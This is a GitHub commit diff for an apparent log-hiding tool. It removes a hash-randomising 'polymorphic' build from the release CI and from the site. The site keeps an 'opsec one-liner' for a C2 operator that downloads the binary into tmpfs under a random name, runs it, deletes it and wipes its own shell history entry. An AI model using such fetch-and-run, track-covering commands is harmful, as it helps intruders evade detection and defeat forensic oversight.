Skip to content

Commit 25f4c65

Browse files
committed
Remove poly from release CI and site one-liner
1 parent 4089fb6 commit 25f4c65

2 files changed

Lines changed: 2 additions & 40 deletions

File tree

.github/workflows/release.yml

Lines changed: 1 addition & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -53,44 +53,9 @@ jobs:
5353
hidemylogs-${{ matrix.name }}
5454
hidemylogs-${{ matrix.name }}.sha256
5555
56-
build-poly:
57-
name: Build poly
58-
runs-on: ubuntu-latest
59-
steps:
60-
- uses: actions/checkout@v4
61-
- uses: actions/setup-python@v5
62-
with:
63-
python-version: "3.12"
64-
- uses: dtolnay/rust-toolchain@stable
65-
with:
66-
targets: x86_64-unknown-linux-musl
67-
68-
- name: Install musl tools
69-
run: sudo apt-get update && sudo apt-get install -y musl-tools
70-
71-
- name: Polymorphic build
72-
run: |
73-
python3 scripts/polymorphic.py
74-
RUSTFLAGS="-Ccontrol-flow-guard=no -Cforce-frame-pointers=no" \
75-
cargo build --profile poly --target x86_64-unknown-linux-musl
76-
python3 scripts/polymorphic.py --revert
77-
78-
- name: Package
79-
run: |
80-
cp target/x86_64-unknown-linux-musl/poly/hidemylogs hidemylogs-linux-x86_64-musl-poly
81-
sha256sum hidemylogs-linux-x86_64-musl-poly > hidemylogs-linux-x86_64-musl-poly.sha256
82-
83-
- name: Upload
84-
uses: actions/upload-artifact@v4
85-
with:
86-
name: hidemylogs-linux-x86_64-musl-poly
87-
path: |
88-
hidemylogs-linux-x86_64-musl-poly
89-
hidemylogs-linux-x86_64-musl-poly.sha256
90-
9156
release:
9257
name: Create Release
93-
needs: [build, build-poly]
58+
needs: build
9459
runs-on: ubuntu-latest
9560
steps:
9661
- uses: actions/download-artifact@v4

docs/index.html

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -238,12 +238,9 @@
238238
<div class="section-head">deploy - opsec one-liner</div>
239239
<div class="term">
240240
<div class="term-bar"><span class="term-dot r"></span><span class="term-dot y"></span><span class="term-dot g"></span><span class="term-title">operator@c2 - deploy</span></div>
241-
<div class="term-body"><span class="out"># Standard musl build (prefix space = not saved in bash_history)</span>
241+
<div class="term-body"><span class="out"># Download to tmpfs, random name, execute, cleanup (prefix space = not in bash_history)</span>
242242
<span class="prompt">$ </span><span class="cmd" id="oneliner"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f print;rm -f /dev/shm/$f;unset f;history -d $(history 1|awk '{print $1}')</span>
243243

244-
<span class="out"># Polymorphic build (unique hash per release)</span>
245-
<span class="prompt">$ </span><span class="cmd"> f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl-poly -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f print;rm -f /dev/shm/$f;unset f;history -d $(history 1|awk '{print $1}')</span>
246-
247244
<span class="out"># What this does:</span>
248245
<span class="out"># 1. Generate random 12-char hex name</span>
249246
<span class="out"># 2. Download musl binary to /dev/shm (tmpfs, not on disk)</span>

0 commit comments

Comments
 (0)